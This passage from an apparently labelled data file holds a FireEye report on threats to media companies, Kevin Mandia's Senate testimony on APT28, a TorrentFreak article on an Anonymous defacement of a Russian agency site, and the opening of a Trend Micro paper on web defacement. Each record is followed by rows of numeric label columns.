\xe2\x80\xa2 Magazine Publishers \xe2\x80\xa2 Multimedia, Graphics & Publishing Software \xe2\x80\xa2 Newspaper Publishers \xe2\x80\xa2 Television Station Groups CYBER THREATS TO THE ENTERTAINMENT AND MEDIA INDUSTRIES ENTERTAINMENT AND MEDIA COMPANIES FACE CYBER THREATS FROM THE FOLLOWING ACTORS: \xe2\x80\xa2 Advanced Persistent Threat (APT)1 groups assisting their sponsoring government in controlling its national image by stealing information related to media organizations\xe2\x80\x99 reporting activities, including personnel, sources, local partnerships, anticipated public releases, general country operations, and specific areas of research. \xe2\x80\xa2 APT groups engaging in economic espionage to provide their indigenous entertainment and media companies with a competitive advantage through stealing data related to other companies\xe2\x80\x99 mergers, acquisitions, or distribution; technologies or processes for advanced production; and creative intellectual property. \xe2\x80\xa2 Hacktivists and APT groups seeking to disrupt a victim company\xe2\x80\x99s operations to promote a cause, control reporting, or contain the dissemination of content that they consider politically sensitive or controversial. APT groups may potentially try to mask the identity of their government sponsor by posing as an independent hacktivist group when targeting a victim company. \xe2\x80\xa2 Enterprise-like cybercriminals seeking personal profit through targeting the gaming industry and stealing account credentials, activation codes, in-game valuables, and personally identifiable information (PII). CASE STUDY: APT28 SUSPECTED IN FALSE FLAG OPERATION ON FRENCH MEDIA COMPANY In April 2015, threat actors compromised TV5 Monde, a French news station with a global audience. The actors damaged equipment, disrupting broadcasts for several hours, and defaced the company\xe2\x80\x99s website and social media accounts with propaganda pertaining to ISIS and the CyberCaliphate, a hacktivist group allegedly associated with ISIS. However, although the activity initially appeared to be the work of the CyberCaliphate, 1 Advanced Persistent Threat (APT) actors are assessed to take direction from a nation state to steal information or conduct network attacks, tenaciously pursue their objectives, and are capable of using a range of tools and tactics. FireEye Threat Intelligence suspects that APT28, a group associated with the Russian government, was instead responsible for the activity. APT28 likely posed as the CyberCaliphate to capitalize on Western fears over Islamic extremism, particularly following the Charlie Hebdo-inspired attacks of several months prior. The compromise of TV5 Monde was likely a Russian information operation intended to alarm the French, with whom Russia\xe2\x80\x99s relations have been declining (as with the rest of the West), and draw the West\xe2\x80\x99s attention away from Russia\xe2\x80\x99s ongoing role in the Ukraine crisis and towards the threat of terrorism in the Middle East. THREAT HORIZON & INDUSTRY OUTLOOK The entertainment and media industries play a key role in shaping public opinion and even national image, making it a valuable target for APT groups and hacktivists seeking influence. The following factors may further influence threat activity towards these sectors: \xe2\x80\xa2 Concerns over domestic stability and government legitimacy will likely result in increased targeting from APT groups seeking to assist their associated government in monitoring public opinion, shaping its image, promoting its message, and otherwise leveraging its soft power to maintain and spread its influence. \xe2\x80\xa2 A desire to discourage publication of controversial stories and views may prompt some threat actors to attempt to gain access to a relevant media organization\xe2\x80\x99s raw reporting and acquire information on the identities of its sources. State- sponsored threat actors aiming to suppress a certain story, for example, may target a media organization reporting on the topic in an effort to evaluate what the organization knows about the issue, and identify its sources. \xe2\x80\xa2 Efforts to intimidate or punish a media organization for publishing a critical or unflattering story might prompt the threat actors to retaliate by targeting the offending media organization. Threat actors may steal data on employees and sources MALWARE FAMILIES TOP 5 59% ChinaChopper 15% SOGU (aka Kaba) 10% Gh0stRAT 8% PoisonIvy 8% Page CRIMEWARE FAMILIES TOP 5 35% Upatre 32% Delf 15% ZeroAccess (aka SIREFEF) 10% Allaple 8% Muxif DATA STOLEN FROM ENTERTAINMENT & MEDIA COMPANIES \xe2\x80\xa2 Address Books \xe2\x80\xa2 Calendar Files \xe2\x80\xa2 Executive Communications \xe2\x80\xa2 Negotiations Information \xe2\x80\xa2 Network Infrastructure Documents \xe2\x80\xa2 PR and Marketing Materials \xe2\x80\xa2 Reporters\xe2\x80\x99 Communications \xe2\x80\xa2 User Credentials INDUSTRY INTELLIGENCE REPORT / CYBER THREATS TO THE ENTERTAINMENT AND MEDIA INDUSTRIES \xc2\xa9 2016 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. IB.ENT.EN-US.052016 FireEye, Inc. 1440 McCarthy Blvd. Milpitas, CA 95035 / 408.321.6300 / 877.FIREEYE (347.3393) / info@FireEye.com www.FireEye.com TOP MALWARE FAMILIES FireEye most frequently detected threat actors using the following targeted malware families to compromise organizations in the entertainment and media sectors: ChinaChopper is a small webshell that provides threat actors unauthorized access to an information system using a simple password for authentication and is capable of executing Microsoft .NET code within HTTP POST commands. SOGU (aka Kaba, PlugX), a backdoor that is capable of file upload and download, arbitrary process execution, filesystem and registry access, service configuration access, remote shell access, and implementing a custom VNC/RDP-like protocol to provide the command and control (C2) server with graphical access to the desktop. GH0STRAT is a remote access tool (RAT) derived from publicly available source code. It can perform screen and audio captures, enable a webcam, list and kill processes, open a command shell, wipe event logs, and create, manipulate, delete, launch, and transfer files. POISONIVY is a publicly available RAT that provides comprehensive remote access capabilities on a compromised system. Its variants are configured, built, and controlled using a graphical Poison Ivy management interface available online. It can be configured to produce shellcode, which can be packaged into an executable or combined with an existing executable to hide its presence. It is typically configured to inject multiple shellcode stubs into the explorer.exe process. Page (aka ELISE) is a downloader that attempts to retrieve encoded DLLs from a pre-configured command and control server, which it communicates with using HTTP requests. Once the DLLs are downloaded, the downloader loads them into memory. It also incorporates several source-level anti-reverse engineering functions. TOP CRIMEWARE FAMILIES FireEye\xe2\x80\x99s sinkhole and dynamically shared threat data indicate that the following crimeware variants were the most commonly detected in the entertainment and media sectors: Upatre is a Trojan downloader that often arrives via a spam email, drive-by download or exploit,. Upatre will download one or more additional types of malware onto an infected system and has been observed distributing a wide variety of malware including, but not limited to, Zbot, Dyre, Rovnix, CryptoLocker, and Necurs. Delf is a family of Trojans whose files are often compiled in Delphi. It has the ability to connect to remote server for downloading and installing additional malware onto the system without the consent or knowledge of the user and may also have the ability to steal sensitive information. ZeroAccess (aka SIREFEF) is a Trojan with advanced rootkit capabilities. Initially developed as a delivery mechanism for other types of malicious software, it has been re-architected to perform click fraud. Allaple is a worm that will perform denial of service attacks on specific targets and attempt to propagate to other systems on the same network. Muxif is a Trojan downloader that communicates with a C2 server to send system information, receive instructions, and download additional malicious executables. It also modifies the registry to maintain persistence. in an effort to intimidate or monitor them. There is also the possibility that threat actors may try to steal and then publicly release sensitive data, in an attempt to embarrass the targeted organization and damage its credibility. \xe2\x80\xa2 Tensions or conflicts between adversaries, whether state or non-state, will probably lead to increased threat activity from associated threat actors aiming to prevent their adversary from spreading its own message or propaganda, while potentially seeking to spread its own propaganda through its opponents\xe2\x80\x99 channels. \xe2\x80\xa2 Increased popularity and use of social media will likely lead to continued targeting of providers and platforms by APT groups, cybercriminals, and hacktivists aiming to facilitate further targeting through social engineering, and/or promote their own views through disrupting services or defacing webpages.","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence March 30, 2017 Thank you, Mr. Chairman, Vice-Chairman Warner, and Members of the Senate Intelligence Committee, for the opportunity you have given me today to share our observations and our experiences regarding this important topic, as well as for your leadership on cybersecurity issues. As requested, I am going to discuss three topics here today: 1) the role of overt and covert cyber operations in support of Russian active measures, disinformation, and influence campaigns; 2) the cyber capabilities and techniques attributed to Russian state and non-state actors; and 3) recommendations to prevent and mitigate the threat posed by such cyber operations. 1. Background. Before I turn to your specific questions, let me share some background on myself and my company to inform the context of my narrative. I have been working in cybersecurity for over two decades, since I was first stationed at the Pentagon at the outset of my career as a Computer Security Officer in 1993. During my time investigating computer intrusions while I was in the Air Force, I came to recognize that the biggest cyber threats to our infrastructure were intrusions from other countries, most notably Russia and China. I founded Mandiant in 2004 to create a company with that could effectively respond to these threats and innovate technologies to help detect and respond to advanced attacks. Fast forward a few years, Mandiant was bought by FireEye, and I became FireEye\xe2\x80\x99s CEO last June in 2016. As I testify today, FireEye employees are on the front lines of the cyber battle, responding to active computer intrusions at dozens of the largest companies and organizations on a global scale, including incidents in cyber \xe2\x80\x9chot zones\xe2\x80\x9d such as the Middle East and Southeast Asia. Over the last 13 years, we have responded to incidents at hundreds of companies around the world. During that time, we have investigated millions of systems, and we receive calls almost every single day from organizations that have suffered a cybersecurity breach. In addition to the 300-plus security professionals responding to computer intrusions, FireEye has over 150 cyber-threat analysts on staff in 19 countries and speaking 32 different languages, to help us predict threats and better understand the adversary \xe2\x80\x93 often by considering the political and cultural environment of the threat actors. We have an enormous catalog of threat intelligence, and it continues to grow everyday coincident with the continually increasing attacks on organizations around the world. The information I will share today, then, is derived from our experiences responding to computer security breaches, as well as intelligence derived from our experienced team of cyber threat analysts and collected from more than 5000 customers who use our products to detect intrusions into their networks and respond to these attacks. 2. The Role of Overt and Covert Cyber Operations in Support of Russian Active Measures, Disinformation, and Influence Campaigns. The role of nation-state actors in cyber attacks was perhaps most widely revealed in February 2013 when Mandiant released the report, \xe2\x80\x9cAPT1: Exposing One of China\xe2\x80\x99s Cyber Espionage Units,\xe2\x80\x9d which detailed a professional cyber espionage group based in China. 1 Several months later in 2014 we released another report, this time regarding Russian cyber activities, entitled, \xe2\x80\x9cAPT28: A Window into Russia\xe2\x80\x99s Cyber Espionage Operations?\xe2\x80\x9d2 In that report, FireEye identified APT28 as a suspected Russian government-sponsored espionage actor, basing our conclusion on forensic details left in the malware employed since at least 2007. Since release of the initial report on APT28, we have continued to gather intelligence and collect data on the group\xe2\x80\x99s activities, and most recently, in January of this year, released \xe2\x80\x9cAPT28: At the Center of the Storm\xe2\x80\x9d3 which provides additional detail on the continued evolution of Russian cyber operations. As shown in our most recent report, an analysis of the activities of APT28 indicates the group\xe2\x80\x99s interest in foreign governments and militaries, particularly those of Europe, as well as regional security organizations. In addition, our research indicates that APT28 network activity has likely supported information operations designed to influence the domestic politics of foreign nations. We provide an extensive listing of targets including the World Anti-Doping Agency (WADA), the U.S. Democratic National Committee, Mr. John Podesta, the U.S. Democratic Congressional Campaign Committee (DCCC), as well as TV5Monde and the Ukrainian Central Election Commission (CEC). All of these breaches involved the theft of internal data \xe2\x80\x93 mostly emails \xe2\x80\x93 that was later strategically leaked through multiple forums and propagated in a manner almost certainly intended to advance particular Russian Government goals. We noted that the combination of network compromises and subsequent data leaks align closely with the Russian military\xe2\x80\x99s publicly stated intentions and capabilities. Russian strategic doctrine has for a long time included what the West terms \xe2\x80\x98information 1 https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf. 2 https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt- apt28.pdf. 3 https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf. operations\xe2\x80\x99 which have been further developed, deployed and modernized. The recent activity in the United States is one of many instances of such operations conducted in support of Russian political objectives. I note that our conclusions were consistent with the U.S. Office of the Director of National Intelligence report released on January 7, 2017 in which this activity is described as \xe2\x80\x9can influence campaign.\xe2\x80\x9d4 3. Cyber Capabilities and Techniques Attributed to Russian State and Non- State Actors So how was this done, and why do we assess that the Russian government was likely behind this activity? Let me first speak to the methodologies used. During the course of our APT28 investigations, we analyzed over 550 customer malware variants, identified approximately 500 domains, over 70 lure documents and dozens of spear phishing emails to help us understand their tools, techniques, and procedures. We find that APT28 continues to evolve its toolkit and refine its tactics in an effort to maintain its operational effectiveness in the face of heightened public exposure and scrutiny. In addition to the continued evolution of the group's first- stage tools, we have also noted that APT28 is: 1 - Leveraging at least five zero-day vulnerabilities in Adobe Flash Player, Java, and Windows in 2015 alone, including CVE-2015-1701, CVE-2015-2424, CVE-2015-2590, CVE-2015-3043, CVE-2016-7193, and CVE-2015-7645. 2 \xe2\x80\x93 Increasing its reliance on public code depositories, such as Carberp, PowerShell Empire, P.A.S. webshell, Metasploit modules, and others in a likely effort to accelerate their development cycle and provide plausible deniability. 3 - Obtaining credentials through fabricated Google App authorization and Oauth access requests that allow the group to bypass two-factor authentication (2FA) and other security measures, and 4 - Moving laterally through a network relying only on legitimate tools that already exist within victims' systems, at times forgoing their traditional toolset for the duration of the compromise. Over the past two years we have witnessed an escalation of APT 28\xe2\x80\x99s overall activities and one notable change in its rules of engagement. Specifically, since 2014 we have seen APT28 in many instances compromise a victim organization, steal information, and subsequently leak the stolen data into the public. Many of these leaks have been conducted through the use of \xe2\x80\x9cfalse hacktivist personas\xe2\x80\x9d, including, among others, \xe2\x80\x9cCyberCaliphate\xe2\x80\x9d, \xe2\x80\x9cGuccifer 2.0\xe2\x80\x9d, \xe2\x80\x9cDC Leaks\xe2\x80\x9d, \xe2\x80\x9cAnonymous Poland\xe2\x80\x9d, and \xe2\x80\x9cFancy Bears\xe2\x80\x99 Hack Team\xe2\x80\x9d. These \xe2\x80\x9cpersonas\xe2\x80\x9d appropriated pre-existing hacktivist or political brands likely to obfuscate their true identify, provide plausible deniability, and to create the perception of credibility. 4 https://www.intelligence.senate.gov/sites/default/files/documents/ICA 2017 01.pdf. Although we can link the collection activity to APT28, we have not been able to establish whether the APT28 operators themselves directly control the false personas that then leak material or if that responsibility instead resides with a separate entity. However, we do see similar patterns in infrastructure procurement between APT28 and some personas to suggest they played at least some role. For example, we believe that the actors behind the DCLeaks persona attempted to register the domain \xe2\x80\x9celectionleaks.com\xe2\x80\x9d one-week prior to \xe2\x80\x9cDCLeaks.com\xe2\x80\x9d in April 2016 \xe2\x80\x93 approximately two months prior to the first election-related leaks. These domains were registered using the service provider we have seen APT28 frequently use in the past to support cyber attacks. Thus, our intelligence indicates that APT28 likely operated with the knowledge that the data they stole during cyber intrusions would leverage these domains for public exposure of the data. I include the following timeline and analysis to illustrate the use of these techniques over the last few years. In June of 2014, Ukrainian officials revealed the investigation into the compromise of the Ukrainian Central Election Commission (CEC) internal network identified custom malware traced to APT28. During the May 2014 Ukrainian presidential election, purported pro-Russian hacktivists \xe2\x80\x9cCyberBerkut\xe2\x80\x9d conducted a series of malicious activities against the CEC, including a system compromise, data destruction, a data leak, a distributed denial-of- service (DDoS) attack, and an attempted defacement of the CEC website with fake election results. In February of 2015, FireEye identified APT28 (CORESHELL) traffic beaconing from TV5Monde's network, revealing APT28 had compromised TV5Monde's network. In April 2015, alleged pro-ISIS hacktivist group CyberCaliphate defaced TV5Monde's websites and social media profiles and forced the company's 11 broadcast channels offline. We identified overlaps between the domain registration details of CyberCaliphate's website and APT28 infrastructure. In July of 2016, the U.S. Democratic Congressional Campaign Committee (DCCC) announced that it was investigating an ongoing ""cybersecurity incident"" that the FBI believed was linked to the compromise of the DNC. House Speaker Nancy Pelosi later confirmed that the DCCC had suffered a network compromise. Investigators indicated that the actors may have gained access to DCCC systems as early as March. In August, the Guccifer 2.0 persona contacted reporters covering the U.S. House of Representative races to announce newly leaked documents from the DCCC pertaining to Democratic candidates. From August to October, Guccifer 2.0 posted several additional installments of what appear to be internal DCCC documents on its WordPress site. Between March and October of 2016, investigators found that John Podesta, Hillary Clinton's presidential campaign chairman, was one of thousands of individuals targeted in a mass phishing scheme using shortened URLs that security researchers attributed to APT28. Throughout October and into early November, WikiLeaks published 34 batches of email correspondence stolen from Mr. Podesta's personal email account. Correspondence of other individuals targeted in the same phishing campaign, including former Secretary of State Colin Powell and Clinton campaign staffer William Rinehart, were published on the ""DC Leaks"" website. In April through September, 2016, the U.S. Democratic National Committee (DNC) suffered a network compromise and a subsequent investigation found evidence of two breaches, attributed to APT28 and APT29. FireEye analyzed the malware found on DNC networks and determined that it was consistent with our previous observations of APT28 tools. In June 2016, shortly after the DNC's public announcement about the breach, the Guccifer 2.0 persona claimed responsibility for the DNC breach and leaked documents taken from the organization's network. Guccifer 2.0 continued to leak DNC documents through September of 2016. And finally, in September of 2016, WADA confirmed that APT28 had compromised its networks and accessed athlete medical data. On Sept. 12, 2016, the ""Fancy 'Bears' Hack Team"" persona claimed to have compromised WADA and released athletes' medical records as ""proof of American athletes taking doping."" Let me now turn to explaining why we assess that the Russian government was likely behind this activity. In order to make such an assessment, we reviewed and compared intrusion methodologies and tools, malware or authored exploits and use of shared personnel. We also examined forensic details that were left behind, such as the specific IP addresses or email addresses from spear phishing attacks, file names, MD5 hashes, timestamps, custom functions, encryption algorithms, or backdoors that may have command and control IP addresses or domain names embedded. Targeting was also critical to our assessment. Knowing the types of organizations, individuals, or data that a threat group targets provided us with insight into the group's motivations and objectives. Gathering this type of data about a group typically requires visibility into the group's operational planning, their initial attacks or infection attempts, or into actual victim environments. We track all of the indicators and significant linkages associated with identified threat groups in a proprietary database that we have developed over many years comprised of millions of nodes and linkages between groups, and then analyze this information carefully in the context of the relevant political and cultural environment to develop our assessments. Based on our extensive collected intelligence and analysis in this instance, we have determined that APT28\xe2\x80\x99s cyber operations are consistent with government sponsorship and control. Specifically, APT28 has relied upon a steady supply of sophisticated tools that would only have been available to a nation-state or state- protected contractor, pursued targets where Russian interests would be high, maintained a level of activity over several years requiring significant financial and personnel resources with no clear profit motive, and closely integrated its cyber attacks into broader propaganda efforts of benefit to a nation-state actor. There are alternative explanations for APT28\xe2\x80\x99s sponsorship, however in our view these only appear plausible for explaining one incident at a time, and are not credible in the context of the totality of APT28\xe2\x80\x99s operations. By combining an increasingly wide range of technical intelligence, hands-on remediation of compromised systems, and an understanding of Russia\xe2\x80\x99s geopolitical aims based on its own public statements, our confidence in assessing Russian government sponsorship or control of APT28 has only grown since release of our initial report in 2014. Moreover, the activities of APT28 are not consistent with any basic criminal activities to which we have responded, nor are they consistent with those perpetrated by a lone actor. The size of the infrastructure, the targeted information, the amount of malware and the totality of the sophistication, suggests a long-term, well-resourced espionage campaign in which Russia is the benefactor. In summary, while we do not have pictures of a building, names of individuals, or a government agency to name, our assessment is supported by evidence of long- standing, focused operations that indicates a Russian government sponsor and government capability. 4. Recommendations to Prevent and Mitigate the Threat Posed by Such Cyber Operations. Today, and into the foreseeable future, it is our view that the United States will face a motivated, technically sophisticated, and well-resourced adversary intent on accessing our private data, and potentially leaking it publicly. While many organizations are actively trying to counter these attacks, there currently exists a sizeable gap between what their safeguards can prevent and the ability of motivated attackers to circumvent those safeguards. Therefore, we will need to explore ways, both within and outside the cyber domain, to help deter these attacks. Of course, all enterprises \xe2\x80\x93 private sector or government \xe2\x80\x93 should work to accurately assess their own risk profiles, and utilize updated technology and best practices to protect their networks and systems. However, organizations cannot buy, hire or train their way to perfect security and we must consider effective deterrence and proportional response outside of the cyber domain as well. While diplomacy is not often cited as a primary tool in this arena, evidence collected regarding Chinese activity appears to reinforce its potential effectiveness. We conducted a comprehensive study of 182 compromised U.S. targets by 72 Chinese cyber threat groups going back to 2013, and we saw a sharp decline in these operations after September 2015 \xe2\x80\x93 when President Obama and President Xi met and specifically agreed to curtail cyber operations for commercial benefit. To be sure, Chinese cyber operations for traditional espionage remain, and US companies are still targeted for the security, political, economic, and military intelligence that Beijing seeks. However, it appears that the agreement had an impact, demonstrating that diplomacy can also be a useful tool for reducing the cyber threat both countries face, coupled with the public-private sector collaboration. This experience leaves me optimistic that with the combined efforts of both governments and the private sector, diplomatic engagement with Russia and other nations to restrict harmful cyber activity would be enforceable. In addition to Russia, North Korea and Iran have been tied to a series of escalating attacks that go back several years. We have been surprised by the audacity of the sponsoring nation and their willingness to surpass \xe2\x80\x9credlines\xe2\x80\x9d that we previously believed were established. It is entirely reasonable to suspect that these nations are emboldened by each other\xe2\x80\x99s behavior, and it is important to note that any response to the Russian cyber activities discussed today will likely be assessed by other countries. Again, we applaud the leadership shown by this Committee to bring important issues such as those discussed today to light, and we in the private sector look forward to continuing to work with you to disseminate and support industry best practices and encourage adoption of comprehensive and effective cybersecurity programs across government and industry. I look forward to answering your questions today. * * *","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"'Anonymous' Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW) - TorrentFreak About Contact Archives Tip Us Off Subscribe Tip Us Off Subscribe f t About Contact Archives 11919 Breaking News Stories 179k+ Social Media Followers 20.1k+ RSS Subscribers Breaking EasyDNS Threatened With Criminal Complaint over \xe2\x80\x98Pirating\xe2\x80\x99 Customer On: 17/09/2019 Comments: 0 \xe2\x80\x98Anonymous\xe2\x80\x99 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW) By Andy on May 12, 2018 C: 0 News In retaliation for mass blocking that targeted Telegram but caused widespread collateral damage, hackers have hit the website of Russia's Federal Agency for International Cooperation. The attackers, who signed off as 'Anonymous' , left a not-safe-for-work rant criticizing local telecoms watchdog Roscomnadzor. Meanwhile, Telegram filed an appeal challanging a Supreme Court ruling concerning the surrender of encryption keys. Last month, Russian authorities demonstrated that when an entity breaks local Internet rules, no stone will be left unturned to make them pay, whatever the cost. The disaster waiting to happen began when encrypted messaging service Telegram refused to hand over its encryption keys to the state. In response, the Federal Security Service filed a lawsuit, which it won, compelling it Telegram do so. With no response, Roscomnadzor obtained a court order to have Telegram blocked. In a massive response, Russian ISPs \xe2\x80\x93 at Roscomnadzor\xe2\x80\x99s behest \xe2\x80\x93 began mass-blocking IP addresses on a massive scale. Millions of IP addresses belong to Amazon, Google and other innocent parties were rendered inaccessible in Russia, causing chaos online. Even VPN providers were targeted for facilitating access to Telegram but while the service strained under the pressure, it never went down and continues to function today. In the wake of the operation there has been some attempt at a cleanup job, with Roscomnadzor announcing this week that it had unblocked millions of IP addresses belonging to Google. \xe2\x80\x9cAs part of a package of the measures to enforce the court\xe2\x80\x99s decision on Telegram, Roskomnadzor has removed six Google subnets (more than 3.7 million IP-addresses) from the blocklist,\xe2\x80\x9d the telecoms watchdog said in a statement. \xe2\x80\x9cIn this case, the IP addresses of Telegram, which are part of these subnets, are fully installed and blocked. Subnets are unblocked in order to ensure the correct operation of third-party Internet resources.\xe2\x80\x9d But while Roscomnadzor attempts to calm the seas, those angered by Russia\xe2\x80\x99s carpet-bombing of the Internet were determined to make their voices heard. Hackers attacked the website of the Federal Agency for International Cooperation this week, defacing it with scathing criticism combined with NSFW suggestions and imagery. \xe2\x80\x9cGreetings, Roskomnadzor,\xe2\x80\x9d the message began. \xe2\x80\x9cYour recent destructive actions towards the Russian internet sector have led us to believe that you are nothing but a bunch of incompetent mindless worms. You shall not be able to continue this pointless vandalism any further.\xe2\x80\x9d Signing off with advice to consider the defacement as a \xe2\x80\x9cfinal warning\xe2\x80\x9d, the hackers disappeared into the night after leaving a simple signature. \xe2\x80\x9cYours, Anonymous,\xe2\x80\x9d they wrote. But the hackers weren\xe2\x80\x99t done yet. In a NSFW cartoon strip that probably explains itself, \xe2\x80\x98Anonymous\xe2\x80\x99 suggested that Roscomnadzor should perhaps consider blocking itself, with the implement depicted in the final frame. \xe2\x80\x9cAnus, block yourself Roscomnadzor\xe2\x80\x9d But while Russia\xe2\x80\x99s attack on Telegram raises eyebrows worldwide, the actions of those in authority continue to baffle. Last week, Prime Minister Dmitry Medvedev\xe2\x80\x99s press secretary, Natalia Timakova, publicly advised a colleague to circumvent the Telegram blockade using a VPN, effectively undermining the massive efforts of the authorities. This week the head of Roscomnadzor only added to the confusion. Effectively quashing rumors that he\xe2\x80\x99d resigned due to the Telegram fiasco, Alexander Zharov had a conversation with the editor-in-chief of radio station \xe2\x80\x98Says Moscow\xe2\x80\x99. During the liason, which took place during the Victory Parade in Red Square, Zharov was asked how he could be contacted. When Telegram was presented as a potential method, Zharov confirmed that he could be reached via the platform. Finally, in a move that\xe2\x80\x99s hoped could bring an end to the attack on the platform and others like it, Telegram filed an appeal this week challenging a decision by the Supreme Court of Russia which allows the Federal Security Service to demand access to encryption keys. Tagged in: Roscomnadzor, Telegram Newer Post Older Post You may also like: UFC Knocks Out First Pirate Site Following Debut Blocking Action Putin Asked to Investigate Damage Caused By Telegram Web-Blocking Russia Blocks 50 VPNs & Anonymizers in Telegram Crackdown, Viber Next c There are 0 comments. Add yours? comment policy Sponsors Popular Posts Which VPN Services Keep You Anonymous in 2019? Top 10 Most Popular Torrent Sites of 2019 What Are The Best Anonymous VPN Services? 5 Ways To Download Torrents Anonymously Most Commented Posts Swiss Copyright Law: Downloading Stays Legal, No Site Blocking 0 Eight Men Behind Two Pirate Streaming Services Charged by Grand Jury 0 Steal This Show: \xe2\x80\x98How To Hack A Democracy\xe2\x80\x99 0 Music Companies Sue Internet Provider RCN For Enabling \xe2\x80\x98Massive\xe2\x80\x99 Piracy 0 ISPs Block BitTorrent Traffic Despite EU Net Neutrality Regulation 0 Copyright/licensing and Privacy Designed by RyanDownie Built by Van Patten Media","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks A TrendLabs Research Paper A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Marco Balduzzi, Ryan Flores, Lion Gu, and Federico Maggi with Vincenzo Ciancaglini, Roel Reyes, and Akira Urano Trend Micro Forward-Looking Threat Research (FTR) Team TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice. The information contained herein may not be applicable to all situations and may not reflect the most current situation. Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise. Trend Micro reserves the right to modify the contents of this document at any time without prior notice. Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document. Any discrepancies or differences created in the translation are not binding and have no legal effect for compliance or enforcement purposes. Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk. Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document shall be liable for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this information constitutes acceptance for use in an \xe2\x80\x9cas is\xe2\x80\x9d condition. for Raimund Genes (1963-2017) Contents Our Approach to the Investigation 5 Targets and Methods of Website Defacers 7 Real World Conflicts Reflected in Cyberspace 11 Auxiliary Activities of Defacement Groups 54 Conclusion 58 Web attacks\xe2\x80\x94attacks that compromise internet assets like mail servers, cloud infrastructures, and websites\xe2\x80\x94are troubling phenomena. The research community has put considerable effort into investigating these incidents but has mostly focused on detecting attacks and not delving into the reasons behind these attacks. Of course, the typical cybercriminal's goal is to profit. They might compromise websites to push ransomware, or they could try and steal data\xe2\x80\x94recent breaches show that information is an increasingly valuable commodity. But, as this paper discusses, more emotional motivations, such as patriotism, specific real-world events or simply hacktivism, can also trigger compromises. Web defacement hacktivism is the practice of subverting a website with the goal of promoting a specific agenda or political ideology. Methods may vary, but when hacktivists compromise a website, the usual tactic involves replacing the original page with their version\xe2\x80\x94a practice that is called web defacement. Hacktivism is mainly linked to web defacement, but a hacktivist (the attacker) can also be involved in traffic redirection (from a legitimate site to an attacker- owned site), denial of service (a form of service disruption), and malware distribution to support their particular cause. Dedicated websites like Zone-H1 collect evidence of web defacements and defacers can voluntarily advertise their compromise by submitting a report. Elaborating on the reasons behind web defacements at scale is not as easy as it seems. While someone could theorize that geopolitical events and conflicts influence cybercriminals\xe2\x80\x99 attacks against websites and their choice of victims, corroborating this phenomenon requires large-scale analysis. Our examination of over 13 million web defacement reports against websites spans over 18 years, covering multiple continents. We designed an internal system that 